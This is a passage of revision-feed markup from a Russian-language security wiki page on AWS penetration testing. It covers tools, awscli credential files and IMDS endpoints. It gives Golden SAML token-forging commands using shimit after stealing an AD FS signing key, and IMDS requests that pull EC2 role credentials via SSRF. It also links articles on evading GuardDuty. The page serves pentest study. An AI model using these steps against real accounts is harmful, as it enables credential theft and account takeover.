https://aws.amazon.com/ru/lookout-for-equipment/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Metrics ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-metrics/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Vision ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-vision/&lt;br /&gt;
&lt;br /&gt;
== Monitron ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/monitron/&lt;br /&gt;
&lt;br /&gt;
== Personalize ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/personalize/&lt;br /&gt;
&lt;br /&gt;
== Polly ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/polly/&lt;br /&gt;
&lt;br /&gt;
== Rekognition ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/rekognition/&lt;br /&gt;
&lt;br /&gt;
== SageMaker ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/&lt;br /&gt;
&lt;br /&gt;
== SageMaker Ground Truth ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/groundtruth/&lt;br /&gt;
&lt;br /&gt;
== Textract ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/textract/&lt;br /&gt;
&lt;br /&gt;
== Transcribe ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/transcribe/&lt;br /&gt;
&lt;br /&gt;
== Translate ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/translate/&lt;br /&gt;
&lt;br /&gt;
== Apache MXNet ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/mxnet/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning Containers ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/containers/&lt;br /&gt;
&lt;br /&gt;
== DeepComposer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepcomposer/&lt;br /&gt;
&lt;br /&gt;
== DeepLens ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deeplens/&lt;br /&gt;
&lt;br /&gt;
== DeepRacer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepracer/&lt;br /&gt;
&lt;br /&gt;
== Inferentia ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/inferentia/&lt;br /&gt;
&lt;br /&gt;
== Panorama ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/panorama/&lt;br /&gt;
&lt;br /&gt;
== PyTorch ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/pytorch/&lt;br /&gt;
&lt;br /&gt;
== TensorFlow ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/tensorflow/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning AMI ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/amis/&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
[https://pentesting.cloud/ Free AWS Security Labs]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1231</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1231"/>
				<updated>2022-10-18T12:36:41Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Forecast */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
